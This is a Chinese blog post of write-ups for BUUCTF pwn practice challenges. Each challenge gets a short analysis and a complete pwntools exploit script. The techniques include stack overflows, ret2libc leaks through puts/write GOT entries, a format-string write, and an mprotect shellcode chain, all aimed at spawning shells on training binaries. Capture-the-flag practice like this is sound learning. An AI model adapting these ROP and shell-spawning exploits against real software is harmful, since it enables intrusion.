BUUCTF-Pwn

本文最后更新于：2023年11月8日 中午

rip

根据IDA加载入main函数声明发现s数组距离rbp的距离为F，即为15，这里的运行环境是64位，所以应当将Caller's rbp的数据填满，在这里是8位，即可构造payload

1
2
3
4
5
6
from pwn import *
p=remote("node4.buuoj.cn", 25401)
#p=process("./pwn1")
payload=b'a'*15+b'b'*8+p64(0x401186+1)
p.sendline(payload)
p.interactive()

jarvisoj_level0

打开IDA主函数两条命令，很明显可利用漏洞就在vulnerable_function函数内，进入后看到buf很明显距离rbp有0x80位，再加上64位机多出来的8位，即覆盖0x80+0x8即可覆盖，另外有callsystem函数作为漏洞执行入口

1
2
3
4
5
6
7
from pwn import *
p=remote("node4.buuoj.cn", 27716)
#p=process("./level0")
payload=b'a'*136+p64(0x400596)
#p.sendline(payload)
p.sendlineafter('Hello, World\n',payload)
p.interactive()

ciscn_2019_c_1

首先获取程序的ROP信息ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
ROPinfo
后面的具体操作见代码注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn", 27706)
#p=process("./ciscn_2019_c_1")
elf=ELF("./ciscn_2019_c_1")
main=0x400b28
rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
p.sendlineafter('Input your choice!\n', '1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)#构造以输出puts_got的内容
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8, b'\0'))#得到puts函数的地址
libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump("puts")
sys_addr=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")#使用LibcSearcher找到对应的libc版本号
p.sendlineafter('choice!\n', '1')
#由于Ubuntu18运行机制与前面版本的不同，在调用system的时候需要进行栈对齐，在这里可以使用ret进行栈对齐
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(sys_addr)
#p.sendline(payload)
p.sendlineafter('encrypted\n',payload)
p.interactive()

经过暴力循环测试法，测得最终的libc版本为libc6_2.27-0ubuntu3_amd64，然后即可打通本poc

[第五空间2019 决赛]PWN5(格式化字符串)

试着运行一下先，发现当输入的长度比较长的时候，回显会出现一点问题，所以合理猜测输出语句存在问题。
out
使用32位IDA载入，直接查看main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);
  printf("your name:");
  read(0, buf, 0x63u);
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}

首先看了看栈溢出漏洞，read做了限制字符大小利用不了，但是看到了一个printf(buf)这就是一个明显的格式化字符漏洞，再结合题目分析一波，大概流程是随机生成一个数字存入到地址为dword_804C044的全局变量中，最后对输入的passwd字符进行比较，这里注意下atoi这个函数它只会提取正整数，除此之外都是返回0，因为dword变量是随机数，所以控制不了（之前见过一题也是随机数，但是它的随机种子在栈里面是可控的，然后用栈溢出，再引用ctypes库，加载libc.so.6然后就可以获得系统一样的随机数了），但是这题很明显就是通过printf(buf)这个漏洞去更改dword变量的值
关于格式化字符串攻击，这里可以从以下两个资料着手了解
详谈Format String
【整理笔记】格式化字符串漏洞梳理
利用AAAA %08x %08x %8x %08x %08x %08x %08x...这样的字符串来找到我们输入的参数在函数栈上的位置
假设是在栈中的第n位，则可利用%n$定位到参数在栈上的位置，特别值得一提的是，这里的%n中如果是n则默认只想ESP指向的栈顶的内容指向的内存地址，而如果是一个具体的数值x则是指向[ESP+x]
因此在这道题中，我们就可以把我们不知道的dword_804C044改为我们设定的数值即可，由此编写poc

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = remote("node4.buuoj.cn", 28042)

addr=0x0804C044
payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
payload+=b'%10$n%11$n%12$n%13$n'
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()

最终得到flag

ciscn_2019_n_8

打开之后查main函数逻辑，然后你就会发现原来是一道水题- -，只要保证var数组第14位为0x11即可getshell，直接什么都不看编写poc梭哈

1
2
3
4
5
6
7
8
from pwn import *

p = remote("node4.buuoj.cn", 27097)

#addr=0x0804C044
payload=p32(0x11)*14
p.sendline(payload)
p.interactive()

梭哈成功✌

jarvisoj_level2

IDA分析，vulnerable_function中有关于buf的read函数，且buf距离ebp长度为0x88，而read指定长度为0x100，再经过checksec查看，确认存在栈溢出漏洞。
查看字符串发现程序内已经包含了/bin/sh字符串且具有system函数，因此溢出思路为填充buf跳转到system函数，然后传入字符串/bin/sh作为参数即可getshell，编写poc如下

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote("node4.buuoj.cn", 28037)

binsh=0x0804A024
system=0x8048320
payload=b'a'*(0x88+4)+p32(system)+b'a'*4+p32(binsh)
p.sendline(payload)
p.interactive()

成功打通，cat flag

[OGeek2019]babyrop

初期逻辑和前面一道题比较像，buf给一个随机数，然后拿用户输入与buf进行比较，显然这里没有利用空间。
main
804871F
在sub_804871F函数里面很明显看到有strlen(buf)，这里有一个利用点，即strlen遇到\x00时直接截断，所以我们第一位直接截断即可绕过此部分，然后发现buf是一个7位数饿数组，但是在函数中有read(0, buf, 0x20u)，经计算，v5就相当于buf的第8位，所以v5在这里可以被我们指定。

而另一个函数sub_80487D0中a1就是main函数中传入的v5，buf的地址为[ebp-E7],如果v5为127，则会执行第一条代码，C8<E7,不能覆盖返回地址，v5需要尽可能的大，才能覆盖到返回地址。
根据上述思路，进行exp编写，这里一开始是想在绕过之后利用read/write泄露地址然后通过LibcSearcher找到libc版本号的，但是发现不是很成功…通过泄露的地址未能找到正确的libc，结果回头一看题目里面已经给出libc了- -既然如此那就直接用了。真可谓众里寻他千百度，得来全不费工夫，最后把LibcSearcher的部分注释了，也算是一种复习吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
from LibcSearcher import *

p = remote("node4.buuoj.cn", 28820)
elf=ELF('./pwn1')
libc=ELF('./libc-2.23.so')

system_libc=libc.symbols['system']
binsh_libc=next(libc.search(b'/bin/sh'))
write_plt=elf.plt['write']
write_got=elf.got['write']
write_libc=libc.symbols['write']
read_got=elf.got['read']
read_plt=elf.plt['read']

main_addr=0x8048825

#payload1-截断strlen
payload1=b'\x00'+b'\xff'*7
p.sendline(payload1)
p.recvuntil("Correct\n")

#pay;pad2 - 泄露read的got地址
payload=b'a'*(0xe7+4)+p32(write_plt)+p32(main_addr)
#                        ret1          ret2
payload+=p32(1)+p32(write_got)+p32(4)
#write     par1     par2        par3
#write_plt覆盖的是sub_80487D0函数的返回地址，而write函数是main函数的函数，所以后面需要有三个write的参数
p.sendline(payload)

write_addr=u32(p.recv(4))
print('[+]write_addr: ', hex(write_addr))#得到了write在内存中的位置 可以用题目提供的函数共享库算出system在内存中的位置

# libc=LibcSearcher('read', read_addr)
# libc_base=read_addr-libc.dump('read')
# system_addr=libc_base+libc.dump('system')
# binsh_addr=libc_base+libc.dump('str_bin_sh')
libc_base=write_addr-write_libc
system_addr=system_libc+libc_base
binsh_addr=binsh_libc+libc_base

p.sendline(payload1)
p.recvuntil("Correct\n")

payload=b'a'*(0xe7+4)
payload+=p32(system_addr)+p32(main_addr)+p32(binsh_addr)#第二次直接把返回地址改为addr地址
p.sendline(payload)

p.interactive()

get_started_3dsctf_2016

checksec发现开了NX保护，所以栈内容执行不可用，考虑找其他后门函数，搜索flag关键字发现get_flag函数，打开发现是读取flag.txt，所以考虑只需要把return地址改在get_flag函数的if条件句之后即可正常执行，这里注意到main函数时候没有push ebp，所以在压进去0x38字节以后就直接到了return地址处，写出exp为

1
payload = b'a'*0x38 + p32(80489B8)

本地可以打通，但是连到buu远程发现提示core dumped，猜测是远程有内核保护机制，因此就只能尝试保证堆栈平衡的情况下进行处理了

case1

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.log_level="debug"

#p=process('./get_started_3dsctf_2016')
p=remote('node4.buuoj.cn', 27394)
# 0x38 + get_flag入口 + exit地址维持堆栈平衡 + 传参a1, a2
payload = b'a'*0x38 + p32(0x80489A0) + p32(0x804E6A0) + p32(int(hex(814536271), 16)) + p32(int(hex(425138641), 16))

p.sendline(payload)

p.interactive()

case2

第二种是看到大佬的WP才知道的，还可以通过vmprotect来修改某块内存地址的读写权限来执行shell的，函数的具体情况如下

1
>int mprotect(const void *startaddr, size_t len, int prot);

startaddr 内存起始地址, len修改内存的长度, prot 内存的权限

需要指出的是，指定的内存区间必须包含整个内存页（4K）。区间开始的地址startaddr必须是一个内存页的起始地址，并且区间长度len必须是页大小的整数倍。0x1000=4096

prot = 7 表示可读可写可执行4+2+1=7（r=4，w=2，x=1）

接着去找内存bss段的一段可用内存，这里我们使用gdb查找

可以看到0x080ea000到0x080ec000这一段是可读可写不可执行的，正符合我们的要求，所以我们就拿这一段来下手

由于在这个过程中我们分别要在mprotect和read里面输入三个参数，都需要维持栈平衡，所以我们需要找到一个进行三次pop的ROP，确保对战还原，程序正常运行，使用ROPgadget查找

1
ROPgadget --binary get_started --only 'pop|ret' | grep pop

找到了地址0x0804f460有3pop+ret结构，符合我们的要求，因此就用它了

到这里，我们的思路就基本明确了：首先从main函数跳转到mprotect函数，改变指定内存段的读写权限，然后再跳转到read函数，设置读取后将内容保存在前面修改过的内存地址里面，接着我们传入shellcode，获取flag即可，exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.log_level="debug"

elf=ELF('./get_started_3dsctf_2016')
p=remote('node4.buuoj.cn', 27394)

pop3_ret = 0x0804f460

mem_addr = 0x080ea000
mem_size = 0x2000#根据差值计算
mem_proc = 0x7#777

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']

#payload = b'a'*0x38 + p32(0x80489A0) + p32(0x804E6A0) + p32(int(hex(814536271), 16)) + p32(int(hex(425138641), 16))
#覆盖+跳转地址到mprotect+pop3_ret
payload = b'a'*0x38 + p32(mprotect_addr) + p32(pop3_ret)
#mprotect的参数
payload += p32(mem_addr) + p32(mem_size) + p32(mem_proc)
payload += p32(read_addr) + p32(pop3_ret)
#read 的三个参数 read(0,0x080ea000,0x100)
#read函数参数1 ,从输入端读取，将我们生成的shellcode读入目标内存地址
#读取到的内容复制到指向的内存里
payload += p32(0x100) #读取大小
payload += p32(0) + p32(mem_addr) + p32(0x100)

payload += p32(mem_addr) #ret esi

#p.sendline('100')
p.sendline(payload)
shellcode = asm(shellcraft.sh(),arch='i386', os='linux')
p.sendline(shellcode)

level2_x64

题目拿到手分析有NX保护，排除栈内shellcode一类，打开一看，还是栈溢出，基本轻车熟路了，看到有system可以调用，又看到.data表里面有/bin/sh可以调用，那就直接开搓

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.log_level="debug"

#p=process('./level2_x64')
p=remote('node4.buuoj.cn', 28117)

pop_rdi_ret_addr=0x00000000004006b3
system_addr=0x40063E
binsh_addr=0x600A90

payload = 'a'*0x80 + 'a'*8 + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
#p.sendline('100')
p.sendline(payload)

p.interactive()

[HarekazeCTF2019]baby_rop

老花样，栈溢出找到system调用/bin/sh即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.log_level="debug"

#p=process('./level2_x64')
p=remote('node4.buuoj.cn', 26354)

system_addr = 0x4005E3
rdi_ret_addr = 0x0000000000400683
binsh_addr = 0x601048

payload = 'a'*0x10 + 'a'*8 + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)

p.interactive()

ciscn_2019_n_5

保护全关，第一段输入将shellcode写入bss，第二段利用溢出修改返回地址执行shell即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *

context.log_level="debug"

context(os='linux',arch='amd64', log_level = 'debug')

#p=process('./ciscn_2019_n_5')
elf=ELF('./ciscn_2019_n_5')
p=remote('node4.buuoj.cn', 27642)

bss_addr=0x601080
shellcode=asm(shellcraft.sh())
payload='a'*(0x20 + 0x8) + p64(bss_addr)

p.recvuntil('name')
p.sendline(shellcode)
p.recvuntil('?')
p.sendline(payload)
p.interactive()

others_shellcode

这是个啥题啊，直接nc连上就shell了，自始至终都觉得哪里不对劲，但是flag提交成功…

ciscn_2019_ne_5

这题目有意思，前面都平平无奇，打开以后发现通过admin校验以后可以输出和输出内容，而输入大小是128，最后输出时候使用strcpy存入的数组大小明显小于此值，因此可以构成栈溢出，修改返回地址到system，这里没有/bin/sh字符串，但是有一个fflush可以构造出sh，居然也可以用，新的知识点++，到这里就直接开写了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *

context.log_level="debug"

#context(os='linux',arch='i386', log_level = 'debug')

#p=process('./ciscn_2019_ne_5')
e=ELF('./ciscn_2019_ne_5')
p=remote('node4.buuoj.cn', 27192)

#binsh_addr=0x080482EA
ret_addr=0x0804843e
popebp_ret_addr=0x08048720
binsh_addr=0x080482ea
system_addr=e.symbols['system']

p.sendlineafter('word:', 'administrator')
p.sendlineafter(':','1')

payload = 'a'*(0x48 + 0x4) + p32(system_addr) + p32(binsh_addr) + p32(binsh_addr)
p.sendline(payload)
p.sendlineafter(':','4')
p.interactive()

看似没有什么问题吧，但是放到buu上面一跑

1
timeout: the monitored command dumped core

检查多遍未果，又和师傅们交流也没下文，后来有个师傅自己写了一遍跑通了，遂检查不同之处，发现师傅的system_addr是手写的，于是自己也去找到_system填入地址，写成新的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *

context.log_level="debug"

#context(os='linux',arch='i386', log_level = 'debug')

#p=process('./ciscn_2019_ne_5')
e=ELF('./ciscn_2019_ne_5')
p=remote('node4.buuoj.cn', 27192)

#binsh_addr=0x080482EA
ret_addr=0x0804843e
popebp_ret_addr=0x08048720
binsh_addr=0x080482ea
#system_addr=e.symbols['system']
system_addr=0x80484d0

p.sendlineafter('word:', 'administrator')
p.sendlineafter(':','1')

payload = 'a'*(0x48 + 0x4) + p32(system_addr) + p32(binsh_addr) + p32(binsh_addr)
p.sendline(payload)
p.sendlineafter(':','4')
p.interactive()

通了…后来又仔细看了一下使用symbols输出的地址为0x804a024，回去一看读的是plt-got段的system地址…真是害人不浅啊

铁人三项(第五赛区)_2018_rop

checksec看到保护全关，进IDA分析就是很简单的一串逻辑，在第二个函数处看到了明显的溢出，但是题目里面没有直接提供shell相关操作，所以判断本题为ret2libc，题目中给到了write函数，所以考虑使用write函数来泄露

关于write参数fd我找到了如下解释

write() writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd.

概言之，就是0 stands for stdin and 1 stands for stdout，不一定正确，但是有助于记忆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *

#context.log_level="debug"

context(os='linux',arch='i386', log_level = 'debug')

#p=process('./2018_rop')
elf=ELF('./2018_rop')
p=remote('node4.buuoj.cn', 26830)

main_addr = 0x080484C6
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = b'a'*(0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.sendline(payload)
write_addr = u32(p.recv(4))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload=b'a'*(0x88+0x4) + p32(system_addr) + p32(system_addr) + p32(binsh_addr)
p.sendline(payload)
p.interactive()

bjdctf_2020_babyrop

先checksec，64位小端序，MX保护开，其它全关，接着进入IDA分析

main函数内很简单，进一步分析后找到关键函数vuln

本题没有找到backdoor，所以应该是做基地址泄露然后getshell，整个程序内只有puts函数可以输出内容，因此对puts函数进行修改，先溢出后转到此处，考虑到系统会对堆栈进行平衡，所以我们要修改puts的参数需要先进行一次pop保证堆栈平衡，因此使用ROPgadget先找到符合我们条件的ROP

在x64中前六个参数依次保存在RDI，RSI，RDX，RCX，R8和 R9寄存器里，如果还有更多的参数的话才会保存在栈上。
因此需要找到pop rdi，ret的gadget

64位的system调用的大坑
64位的system调用会判断rsp的值是否%16=0；解决方法是在调用system之前使用ret来帮助解决；
然而对齐问题解决就行了吗？不存在的，还是会出现问题。因为这个涉及到栈平衡的问题，所以最好的解决办法，是不要把栈平衡问题遗留到system调用的时候，应该在哪里出现就在哪里解决。

puts_got是puts函数的got表项地址，里面装的是puts的真实地址。使用pop_rdi_ret会把puts_got作为参数弹到寄存器rdi上。接着执行puts_plt(puts_got)，就能得到puts真实地址。

到这里我们就可以构造payload了，大体思路就是保持堆栈平衡，然后利用puts函数泄露其got地址，然后找到其对应的lib，就可以修改令其执行/bin/sh，从而getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *

#context.log_level="debug"

context(os='linux',arch='i386', log_level = 'debug')

#p=process('./bjdctf_2020_babyrop')
elf=ELF('./bjdctf_2020_babyrop')
p=remote('node4.buuoj.cn', 28430)

pop_rdi_addr=0x0000000000400733
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
p.recvuntil(b"story!\n")
main_addr = elf.symbols['main']

payload = b'a'*(0x20 + 8) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendline(payload)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print("puts addr: " + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload=b'a'*(0x20 + 8) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()
#buu #pwn
BUUCTF-Pwn
https://www.0error.net/2021/10/46d4a28d.html
作者
Jason
发布于
2021年10月11日
许可协议